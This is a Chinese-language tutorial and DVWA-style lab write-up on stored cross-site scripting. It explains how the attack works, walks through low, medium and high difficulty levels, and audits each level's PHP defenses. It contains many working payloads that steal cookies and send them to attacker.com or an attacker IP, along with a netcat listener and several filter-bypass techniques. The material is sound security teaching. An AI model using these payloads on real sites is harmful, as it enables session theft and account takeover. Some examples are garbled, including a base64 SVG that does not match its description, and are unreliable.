一,Stored XSS 漏洞详解
存储型跨站脚本攻击(Stored XSS,或称为 Persistent XSS) 是一种常见的跨站脚本攻击(XSS)类型,它通过将恶意脚本(通常是 JavaScript 代码)直接存储在受害者访问的服务器上,使得攻击者能够在后续访问时执行这些脚本。与反射型XSS不同,存储型XSS不仅仅是立即在用户的浏览器中反射执行,还会持久存储在服务器上,通常在数据库、日志、文件或其他存储介质中,直到恶意脚本被触发。
二,存储型XSS的工作原理
- 攻击者提交恶意脚本:攻击者通过某种输入接口(如表单、评论区、用户名字段等)将含有恶意脚本的输入发送到服务器。这些恶意脚本通常是 JavaScript 代码,但也可以是其他类型的脚本(如 HTML 或 SVG)。
- 恶意脚本被存储:服务器接收到该数据后,如果没有适当的安全措施,它会将包含恶意代码的输入存储在数据库或其他存储介质中。此时,攻击者的恶意脚本已被"持久化"到服务器上。
- 受害者访问存储数据:当受害者(没有防护的正常用户)访问包含恶意脚本的页面时,恶意脚本会被从数据库中提取并显示到网页上。由于没有进行任何输出编码或过滤,恶意脚本直接嵌入到页面的 HTML、JavaScript 或 CSS 中,并在浏览器中执行。
- 恶意脚本执行 :恶意脚本在受害者的浏览器中执行,可能导致以下几种恶意行为:
- 窃取 Cookie 和会话信息:攻击者可以通过 JavaScript 从受害者的浏览器中获取敏感信息(如 cookies、localStorage 等),从而窃取用户的身份。
- 操作用户的账户:恶意脚本可以伪造用户请求,执行一些恶意操作,如更改账户设置或发起资金转移。
- 钓鱼攻击:通过页面注入恶意脚本,攻击者可以伪造某些页面,诱使受害者输入用户名、密码等敏感信息。
- 传播恶意代码:通过社交工程手段,攻击者可能利用XSS漏洞让更多的用户访问并触发恶意代码,从而达到更大范围的攻击效果。
三,例如:
假设有一个博客系统,用户可以提交评论。攻击者输入以下内容作为评论:
<script>alert('XSS Attack');</script>
- 提交过程:如果评论系统没有对输入进行充分的验证和输出编码,攻击者的脚本就被存储到数据库中。
- 展示过程:当其他用户访问这个包含恶意评论的页面时,存储在数据库中的 <script>alert('XSS Attack');</script> 被提取并展示到页面上。
- 执行脚本:浏览器会解析这个 <script> 标签并执行其中的 JavaScript 代码,导致弹出警告框(alert),或者执行其他恶意操作(如窃取用户信息、跳转到恶意网站等)。
四,存储型XSS漏洞的危害
- 信息泄露:攻击者能够窃取受害者的 cookies、会话令牌(session tokens)等敏感信息。
- 身份盗用:窃取到敏感数据后,攻击者可以利用用户的身份进行进一步的恶意操作。
- 远程代码执行:如果攻击者能够在存储的恶意代码中加入更复杂的 JavaScript 代码,可能会造成更严重的安全后果,如获取系统权限、远程控制用户浏览器等。
- 大范围攻击:由于恶意脚本会被所有访问该页面的用户触发,因此,攻击的影响可以传播给所有查看该页面的用户,导致大规模攻击。
五,如何防止存储型XSS漏洞
防止存储型 XSS 漏洞的关键在于以下几个方面:
1. 输入验证和过滤
- 白名单验证:对用户输入的内容进行严格的白名单验证,只允许符合预期格式的数据。对于文本框或表单,应该只允许字符、字母、数字等基本内容,避免输入 HTML 标签或 JavaScript 代码。
- 过滤和清理用户输入:使用合适的过滤机制(如通过正则表达式清理特定字符或标签)去除恶意代码。避免直接存储用户输入的原始数据。
2. 输出编码
- HTML实体编码:在将用户输入的内容插入到 HTML 页面中时,必须对特殊字符进行 HTML 实体编码,如使用 htmlspecialchars() 函数将 <, >, & 等字符转换为 <, >, & 等。
- JavaScript输出编码:如果将用户输入输出到 JavaScript 中,要使用适当的编码,如 json_encode(),以确保输入中包含的特殊字符不会被浏览器解释为 JavaScript 代码。
- URL输出编码:如果用户输入需要作为 URL 参数传递,使用 urlencode() 或 rawurlencode() 编码,以防止输入中的恶意代码被浏览器当做链接的一部分执行。
3. 使用内容安全策略(CSP)
- 配置 CSP:内容安全策略(Content Security Policy,CSP)是一种通过限制网页上可执行脚本来源来减少 XSS 攻击的有效手段。通过 CSP,您可以防止从未经授权的来源加载 JavaScript 代码,即使攻击者在页面中注入了恶意脚本,它也无法执行。
4. 输入长度限制
- 限制输入长度:限制用户输入的最大长度,可以减少恶意脚本的注入风险,并避免恶意数据造成性能问题或存储漏洞。
5. 防止基于输入的 SQL 注入
- 参数化查询:避免将用户输入直接拼接到 SQL 查询中,使用参数化查询或预处理语句来防止 SQL 注入漏洞,从而降低存储恶意数据的可能性。
6. 定期检查和更新
- 安全审计和代码检查:定期进行安全审计和代码检查,确保没有遗漏 XSS 防护措施,并且第三方库或框架没有新的安全漏洞。
六,总结
存储型 XSS 是一种非常危险的漏洞,攻击者通过将恶意脚本存储在服务器上,使得每次受害者访问时都会触发该脚本执行。防御存储型 XSS 的关键在于严格的输入验证、输出编码以及使用现代 Web 安全机制(如 CSP)。
Stored 型 XSS 漏洞常见的利用场景:
1. 用户评论或留言功能
- 场景:网站提供评论区或留言板功能,用户可以提交内容,显示给其他用户。
- 攻击方式 :
- 攻击者在评论中嵌入恶意脚本,例如:
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script> - 当其他用户查看该评论时,恶意脚本被执行。
- 攻击者在评论中嵌入恶意脚本,例如:
- 后果 :
- 窃取访问用户的Cookie或会话。
- 执行键盘记录、页面重定向等恶意行为。
2. 用户资料页
- 场景:网站允许用户自定义个人信息(如用户名、签名、简介),这些信息会显示在用户资料页面或文章中。
- 攻击方式 :
- 攻击者在个人简介中注入恶意脚本:
<script>document.location='http://attacker.com/steal?cookie=' + document.cookie;</script> - 当管理员或其他用户查看攻击者的资料页面时,脚本触发。
- 攻击者在个人简介中注入恶意脚本:
- 后果 :
- 窃取管理员Cookie,进一步对后台系统进行攻击。
- 钓鱼或传播恶意内容。
3. 在线论坛或社区
- 场景:论坛或社区允许用户发布帖子,帖子内容会被存储在服务器并展示给其他用户。
- 攻击方式 :
- 攻击者在帖子中插入脚本:
<script>new Image().src='http://attacker.com/log?cookie='+document.cookie;\</script> - 所有查看该帖子的人都会触发恶意脚本。
- 攻击者在帖子中插入脚本:
- 后果 :
- 恶意脚本可能传播,形成"XSS蠕虫"。
- 伪造操作(例如给帖子点赞、转发恶意内容)。
4. 文件上传功能
- 场景:网站允许用户上传文件,如图片或文档,并在网页中展示。
- 攻击方式 :
- 上传带有恶意代码的HTML文件,并通过漏洞执行脚本:
<script>alert('XSS');</script> - 通过图片元数据嵌入恶意代码,利用浏览器解析漏洞触发XSS。
- 上传带有恶意代码的HTML文件,并通过漏洞执行脚本:
- 后果 :
- 控制用户浏览器,伪造用户操作。
- 持续性攻击,文件被多次访问时触发。
5. 在线客服或反馈系统
- 场景:用户通过在线客服或反馈表单提交信息,内容会存储并显示在后台供客服或管理员查看。
- 攻击方式 :
- 攻击者提交含脚本的反馈信息:
<script>fetch('http://attacker.com/admin?cookie='+document.cookie);</script> - 当客服或管理员在后台查看反馈信息时,恶意脚本执行。
- 攻击者提交含脚本的反馈信息:
- 后果 :
- 窃取管理员权限或后台信息。
- 控制后台管理系统。
6. 电子商务网站的商品评论
- 场景:电子商务网站允许用户对商品进行评价,评论内容显示在商品详情页。
- 攻击方式 :
- 在评论中插入恶意脚本:
<script>document.body.innerHTML='<h1>Hacked!</h1>';</script> - 所有浏览该商品的用户都可能触发脚本。
- 在评论中插入恶意脚本:
- 后果 :
- 干扰用户体验(如弹窗、重定向)。
- 诱导用户点击钓鱼链接或进行欺诈。
7. 在线投票或调查
- 场景:网站提供投票或调查功能,结果页面显示用户提交的答案。
- 攻击方式 :
- 提交恶意脚本作为投票选项或答案:
<script>window.location='http://malicious-site.com';</script> - 脚本会在结果页面触发。
- 提交恶意脚本作为投票选项或答案:
- 后果 :
- 重定向用户到恶意网站。
- 干扰正常投票结果。
8. 新闻或博客发布系统
- 场景:网站允许用户投稿或发布新闻文章,内容会存储在服务器并公开展示。
- 攻击方式 :
- 在文章中嵌入恶意脚本:
<script>new Image().src='http://attacker.com/log?cookie='+document.cookie;\</script> - 访问文章的用户触发脚本。
- 在文章中嵌入恶意脚本:
- 后果 :
- 窃取访问用户信息。
- 传播恶意内容。
9. 第三方嵌入内容
- 场景:网站从外部来源加载并存储用户提交的嵌入内容(如视频链接、社交媒体帖子)。
- 攻击方式 :
- 提交包含恶意代码的外部链接:
<iframe src="javascript:alert('XSS');"></iframe> - 内容被存储后,其他用户访问时触发。
- 提交包含恶意代码的外部链接:
- 后果 :
- 用户数据被窃取。
- 网站形象受损。
一, low 难度下的 Stored 型 XSS 漏洞
1,网站的功能就是提供了一个留言板,可以使用burpsuite抓个请求包分析
该网站通过POST请求提交用户名和留言内容,留言内容会存储在服务器当中
2,使用最简单的XSS漏洞测试语句进行测试,但是要先判断存在漏洞的注入点,payload:<script>alert('XSS')</script>
发现对用户名长度做出了限制,并且留言message视乎不存在XSS漏洞
3,查看页面源代码,发现在前端对Name输入的内容长度进行了限制
4,修改前端maxlength=10改为50,再在Name一栏注入payload:<script>alert("XSS")</script>
注入成功,这说明后端对XSS漏洞的防御性能极低甚至没有
5,那么接下来就可以窃取cookie了,这里使用最实用的方法,也就是窃取用户cookie并且发送到攻击机,这在存储型XSS攻击中经常使用,payload:
<script>(new Image()).src='http://192.168.23.140:4444?cookie='+escape(document.cookie);\</script>
或者:
<script>document.write('<img src="http://192.169.23.140:8000/'+document.cookie+'"/>')</script>
与此同时kali需要nc打开对4444端口的监听
6,使用常规payload是窃取不到cooike的,payload:<script>alert(document.cookie)</script>
对 low 难度的靶场源代码进行代码审计
从渗透测试工程师的角度分析这段代码在防御XSS漏洞上的安全性问题,以下是审计结果:
1. 输入数据处理
- 问题点 :
- 用户输入的message和name被trim处理后,使用了stripslashes移除反斜杠字符。
- 使用了mysqli_real_escape_string对输入数据进行了转义。这是用于防止SQL注入的措施,与防御XSS无关。
- 审计结果 :
- 代码中没有针对XSS的输入验证和清理(如限制特殊字符、限制HTML标签等),用户可以提交包含恶意JavaScript代码的输入(如<script>alert('XSS')</script>)。
- 仅通过mysqli_real_escape_string处理的输入,不能防止XSS攻击。
2. 数据存储处理
- 问题点 :
- message和name在经过mysqli_real_escape_string处理后直接插入数据库,没有进一步清理或验证是否包含潜在的XSS内容。
- 审计结果 :
- 如果后续的输出操作未进行安全处理,这些存储的数据可能包含恶意脚本,容易被利用。
3. 数据输出处理
- 问题点 :
- 代码中未展示任何后续的输出逻辑。如果这些输入内容(message和name)直接从数据库中提取后显示在HTML页面上,且没有进行HTML实体编码(如htmlspecialchars),则会导致XSS漏洞。
- 审计结果 :
- 如果攻击者提交了含有恶意代码的内容(如<script>alert('XSS')</script>),并且这些数据未经过HTML实体编码直接输出到页面中,攻击将成功。
- 防御XSS的关键是输出时进行HTML实体编码,但该代码完全没有涉及防御措施,因此存在高风险。
4. 数据库层面的保护
- 问题点 :
- 数据在插入数据库之前,代码未对其内容进行限制,如禁止HTML标签或仅允许特定格式的输入。
- 审计结果 :
- 数据库层面也没有设置任何字段约束来限制输入格式,进一步放大了潜在的XSS风险。
二, medium 难度下的 Stored 型 XSS 漏洞
1,进入靶场前首先reset DB刷新数据库,否则会出现之前留下的XSS攻击弹窗,这个时候哪怕改前端再进行XSS攻击也是无效的,应该服务端存在着更加严格的审查过滤
可以看到并没有执行弹窗,这极有可能是过滤限制了<script>标签。
2,那么接下来就需要测试过滤方法,比如大小写或者转义,payload:<SCRIPT>alert('XSS')</SCRIPT>
说明过滤机制仅仅对<script>做出了限制,却对大小写并不敏感
3,还可以尝试双写绕过,payload:
<scrip<script>t>alert('XSS')</scrip<script>t>
也能够实现对服务端限制的绕过
4,构造绕过语句应用窃取cookie,payload:
<SCRIPT>document.write('<img src="http://`192.168.23.140:8000/'+document.cookie+'"/>')</SCRIPT>
需要在攻击机上开启http服务以窃取cookie:python -m http.server
5,或者另一种方式,payload:
<SCRIPT>(new Image()).src='http://192.168.23.140:4444?cookie='+escape(document.cookie);\</SCRIPT>
成功窃取到cookie
对 medium 难度的靶场源代码进行代码审计
对 medium 分析:
- 输入清理 :
- 对$message进行了额外的处理,使用了strip_tags()函数移除了所有HTML标签,这可以有效防止HTML标签注入,包括<script>标签。
- 使用了addslashes()来处理转义字符,这在防止SQL注入上有一定作用,但并不防止XSS攻击。值得注意的是,mysqli_real_escape_string()仍然存在,它用于防止SQL注入。
- 最后使用了htmlspecialchars()来处理$message,这对于防止XSS攻击非常有效,因为它会将<和>等字符转换为HTML实体(例如<变成<),从而避免浏览器执行恶意脚本。
- XSS防护 :
- 在对$message的处理过程中,strip_tags()移除了潜在的HTML标签,而htmlspecialchars()对字符进行了编码,使得任何用户输入的HTML或JavaScript脚本不会被执行。
- 对$name字段使用了str_replace()来移除<script>标签,这虽然能防止部分XSS攻击,但并不如strip_tags()和htmlspecialchars()那样全面。
- SQL注入防护 :
- 同样使用了mysqli_real_escape_string()来防止SQL注入问题。
low 和 medium 比较分析:
- XSS防护 :
- 第一段代码:没有任何针对XSS攻击的防护措施。用户提交恶意脚本(例如<script>alert("XSS");</script>)后,若直接输出在网页上,将会触发XSS攻击。
- 第二段代码:通过strip_tags()移除HTML标签,htmlspecialchars()对字符进行HTML实体编码,从而有效防止了XSS攻击,即使用户输入恶意脚本,它也将被转义或移除,不会被执行。
- SQL注入防护 :
- 第一段代码 和第二段代码都使用了mysqli_real_escape_string()对输入进行处理,有效防止了SQL注入攻击。
- 输入清理 :
- 第一段代码仅使用了stripslashes()和mysqli_real_escape_string()来处理输入,这不足以防止XSS攻击。
- 第二段代码对message使用了strip_tags()、addslashes()、htmlspecialchars()等多种措施来防止XSS攻击,并且对name也进行了某些清理。
总结:
第二段代码比第一段代码更加安全,主要体现在防御XSS攻击方面。第二段代码使用了htmlspecialchars()和strip_tags()等方法来清理用户输入,防止恶意脚本被执行,而第一段代码没有对XSS进行任何防护,存在较大的安全风险。
三, high 难度下的 Stored 型 XSS 漏洞
1,根据以往经验high难度下对于<script>标签的过滤限制更为严格,这个时候就需要使用javascript丰富的标签功能进行绕过:
1. 利用HTML事件属性
JavaScript支持多种事件处理程序,攻击者可以通过事件属性来执行恶意脚本。例如,<img>、<a>、<div> 等标签的 onerror、onclick、onload 等事件属性,可以触发JavaScript代码。
<img src="nonexistent_image.jpg" οnerrοr="alert('XSS');">
这个例子中,<img> 标签的 onerror 事件会在图片加载失败时触发,执行 alert('XSS') 脚本。
其他常见的事件属性:
- onmouseover, onfocus, onblur
- onload, onerror, onclick, ondblclick
2. 利用JavaScript协议
攻击者可以通过 javascript: 协议在链接中执行恶意代码,即使是对 <a> 标签的过滤,也不一定能防止这种方式。
<a href="javascript:alert('XSS')">Click me</a>
即使 <script> 标签被禁用,javascript: 协议仍然可以执行JavaScript。
3. 利用Base64编码
攻击者可以将恶意代码编码为Base64格式,并将其嵌入 img 标签、iframe 等元素中。这种方法可以绕过基于内容的过滤器。
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMCAxMCI+PHJlY3Qgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIHN0eWxlPSJmaWxsOiByZWQ7IiBvbmVycm9yPSJhbGVydCgnW1RoaXMgaXMgYWFuIGV4YW1wbGUgY29tcGxldGVzIGFzIHlvdXIgcGFyYWdyYXBocyBmb3IgdGhpcyBpdGVtLiAgTGV0cyBkZXNpZ24uJyk8L3JlY3Q+PC9zdmc+" />
这个例子使用了Base64编码的SVG图像,其中包含了XSS攻击代码。这个Base64字符串可以被嵌入到img标签的src属性中,绕过某些过滤机制。
4. 利用Unicode编码
JavaScript允许使用Unicode编码来表示字符,攻击者可以利用这一点绕过某些字符过滤器。
<script>alert("\u0058\u0053\u0053")</script>
这个例子中,\u0058、\u0053分别是字母X和S的Unicode编码,从而执行alert('XSS'),绕过了可能过滤<script>标签和alert关键字的机制。
5. 利用<svg>标签
<svg>标签在现代浏览器中支持JavaScript和DOM操作,攻击者可以利用SVG图像中的onload事件来执行JavaScript。
<svg οnlοad="alert('XSS')"></svg>
即使 <script> 标签被禁止,<svg> 标签中的 onload 事件仍然可以用来执行XSS攻击。
6. 使用嵌套标签
有时,攻击者可以通过在标签中嵌套其他标签来绕过过滤机制。尤其是HTML5中的标签和元素,允许包含事件属性或脚本代码。例如,可以尝试嵌套多个标签来绕过过滤器。
<iframe src="javascript:alert('XSS')"></iframe>
虽然<iframe>标签通常被过滤,但攻击者可以使用它的src属性通过 javascript: 协议来绕过过滤。
7. 利用eval()
如果输入的内容没有被充分过滤,攻击者可能会利用 eval() 来执行注入的代码。eval() 是JavaScript中的一个内置函数,能解析和执行传入的代码字符串。
<input type="text" value="alert('XSS')" id="userInput">
<script>eval(document.getElementById('userInput').value);</script>
8. 利用srcdoc属性
srcdoc 是 <iframe> 标签的新属性,它可以直接嵌入HTML内容。攻击者可以将恶意代码嵌入到 srcdoc 中。
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
2,盗取cookie,payload:
<input οnblur="document.write('<img src="http://192.168.23.140:8000/'+document.cookie+'"/\>')"\>
<img alt=x οnmοuseοver=document.write('<img src="http://·91.·68.23.140:8000/'+document.cookie+'"/>')>
对 high 难度的靶场源代码进行代码审计
代码功能概述:
这段代码接收用户的输入数据(message 和 name),对这些输入进行了一些"清洗"(sanitize)操作,并最终将其插入到数据库中。以下是代码中的主要安全措施:
- 使用 strip_tags():用于删除 HTML 和 PHP 标签。
- 使用 addslashes():对输入数据进行转义,防止 SQL 注入。
- 使用 mysqli_real_escape_string():对输入数据进行进一步的转义,以防止 SQL 注入。
- 使用 htmlspecialchars():对消息内容进行 HTML 转义,防止 HTML 元素被解析,减轻 XSS 攻击。
- 使用 preg_replace() 清除 <script> 标签:试图通过正则表达式删除潜在的 <script> 标签,防止 XSS 攻击。
1. strip_tags() 的局限性:
- 作用 :strip_tags() 函数会移除 HTML 和 PHP 标签,但是它并不做彻底的输入过滤。它会去除常见的标签(如 <script>),但是如果输入中包含恶意的 JavaScript 事件属性或 SVG 元素中的 JavaScript,它仍然可能会被绕过。
举个例子,攻击者可以通过 <img src="nonexistent.jpg" οnerrοr="alert('XSS')"> 这种方式绕过 strip_tags() 的限制,因为 strip_tags() 只会移除常规的 HTML 标签,而不会移除嵌入 JavaScript 的事件属性。
2. addslashes() 的局限性:
- 作用 :addslashes() 会在字符串中的特殊字符(如单引号、双引号、反斜杠)前添加反斜杠,以防止 SQL 注入。然而,这个方法并不完全安全,因为它不处理所有的字符转义,尤其在 SQL 执行时可能仍然存在问题。
局限性:此方法对于防止 XSS 攻击无效,因为它只是在字符串中插入了反斜杠,不会对 HTML 或 JavaScript 代码进行适当的转义。攻击者仍然可以通过 JavaScript 事件属性等手段执行恶意脚本。
3. mysqli_real_escape_string() 的有效性:
- 作用 :mysqli_real_escape_string() 是为了防止 SQL 注入而对用户输入进行转义。它对输入数据进行转义,将引号、反斜杠等字符转换为安全的格式,避免数据中嵌入的恶意 SQL 语句被执行。
局限性:虽然 mysqli_real_escape_string() 对 SQL 注入攻击有效,但它对于防止 XSS 攻击并无太大帮助。它并不会处理 HTML 或 JavaScript 内容,攻击者仍然可以在输入中注入恶意的 <script> 标签或 HTML 事件。
4. htmlspecialchars() 的有效性:
- 作用 :htmlspecialchars() 会将输入中的特定字符(如 <, >, &, " 等)转义为 HTML 实体,例如 <, >, " 等。这对于防止 XSS 攻击非常有效,因为即便攻击者注入了恶意的 HTML 或 JavaScript 代码,浏览器也会将其视为普通文本而非可执行代码。
有效性:在防止 XSS 攻击方面,htmlspecialchars() 是一种有效的防御措施。然而,它并没有彻底解决所有问题,特别是在某些情况下,htmlspecialchars() 的参数设置不当(如没有指定 ENT_QUOTES 或 UTF-8 编码),可能导致字符转义不完全,存在安全漏洞。
5. preg_replace() 的局限性:
- 作用 :正则表达式 preg_replace() 尝试通过删除 <script> 标签来防止 XSS 攻击。但是,这种方式存在几个问题:
- 不彻底:这个正则表达式只会删除字面意义上的 <script> 标签,但攻击者可以绕过这个过滤机制。例如,攻击者可以使用不同的标签(如 <scr<script>ipt>)或通过其他手段拼接 <script> 标签,从而绕过正则表达式。
- 不针对 JavaScript 事件属性:这段代码并没有清除输入中的 JavaScript 事件属性(如 onload, onerror),这些事件属性仍然可以执行恶意的 JavaScript 代码。
6. SQL注入防御:
- 虽然该代码在某些程度上使用了 mysqli_real_escape_string() 来防止 SQL 注入,但是这段代码的实际执行逻辑没有使用 预处理语句。使用预处理语句是防止 SQL 注入的最佳实践,能够确保输入的内容被正确地转义并且与 SQL 查询分开执行。仅仅使用 mysqli_real_escape_string() 并不能完全防止 SQL 注入攻击。
总结:
这段代码虽然包含了一些安全措施,如 strip_tags()、htmlspecialchars() 和 preg_replace(),这些对于防止 XSS 攻击有一定的帮助,但仍然存在以下局限性:
- 过滤不完全:对于 JavaScript 事件属性、SVG 等 HTML 标签形式的攻击没有有效过滤。
- 正则表达式的局限性:通过正则去除 <script> 标签不够彻底,攻击者可以通过多种方式绕过。
- 编码和转义不完善:htmlspecialchars() 没有做到完全的字符转义,尤其在未指定合适的参数(如 ENT_QUOTES)时。
- SQL 注入的防御不足:虽然使用了 mysqli_real_escape_string(),但更好的方法是使用预处理语句。
四, impossible 难度下的 Stored 型 XSS 漏洞
代码审计其防御措施及安全机制
1. 输入数据的清理和处理
- stripslashes: 去除字符串中的反斜杠。这通常是为了防止逃逸字符干扰后续处理。
- mysqli_real_escape_string: 通过将特殊字符转义(如单引号 ' 或双引号 "),防止恶意代码注入数据库(避免 SQL 注入风险)。但是,这段代码中存在冗余,因为使用了 PDO 的参数化查询,mysqli_real_escape_string 并非必要。
- htmlspecialchars: 将特殊 HTML 字符(如 <、>、& 等)转义为 HTML 实体(如 <、>、&),这直接防止了用户提交的恶意 HTML/JavaScript 代码在浏览器中被解析执行。
2. 数据库操作的防护
- 参数化查询(Prepared Statements) :
- 使用 PDO 的 prepare 和 bindParam 方法。
- 防止 SQL 注入:用户输入被安全绑定为参数,无需手动拼接 SQL 字符串。
- 尽管参数化查询主要防 SQL 注入,但配合 htmlspecialchars,也能防止存储型 XSS,因为存储的内容已经被转义,攻击代码不会被浏览器执行。
3. 生成 Anti-CSRF Token
- 使用 generateSessionToken 为用户生成唯一的会话令牌,并在表单提交时验证该令牌:
- 在表单中包含 user_token 字段,与会话中的 session_token 进行比对。
- 防止恶意网站借助用户已登录的身份(如 Session)提交伪造请求。
- XSS 的间接防护 :
- 通过 Anti-CSRF token,可以确保表单提交来源可信,降低用户被 XSS 攻击后执行恶意 CSRF 请求的风险。
4. 潜在问题
- 冗余的清理代码 :
- mysqli_real_escape_string 在 PDO 环境下是多余的,移除反而简化代码。
- 防护可能不全面 :
- 仅使用 htmlspecialchars 防范 XSS,有时可能漏掉编码不一致的情况(如多层嵌套的输出)。为进一步增强,可以根据输出上下文使用更全面的过滤函数,例如:
- 针对 HTML 属性的 ENT_QUOTES 标志。
- 针对 JavaScript 输出的 JSON 编码。
- 仅使用 htmlspecialchars 防范 XSS,有时可能漏掉编码不一致的情况(如多层嵌套的输出)。为进一步增强,可以根据输出上下文使用更全面的过滤函数,例如:
- 内容存储的二次过滤 :
- 虽然输入数据被过滤,但在存储后输出时可能存在误用风险,建议在展示时再次进行适当的转义处理。
5. 总结:XSS 防御机制
这段代码的 XSS 防御机制较为完善,主要措施包括:
- 输入过滤: 使用 htmlspecialchars 对用户输入的 HTML 元字符进行转义,确保数据存储时不带有恶意脚本。
- SQL 注入防护: 通过 PDO 的参数化查询,避免了存储型 XSS 的 SQL 注入风险。
- Anti-CSRF Token: 确保请求来源可信,间接减少用户在 XSS 环境中的 CSRF 攻击风险。
改进建议:
- 移除冗余代码: 去除 mysqli_real_escape_string。
- 严格输出转义: 在不同上下文(如 HTML、JavaScript)中,使用更适合的输出转义方法。
- 统一过滤策略: 输入过滤和输出转义相结合,以避免遗漏或误用的可能性。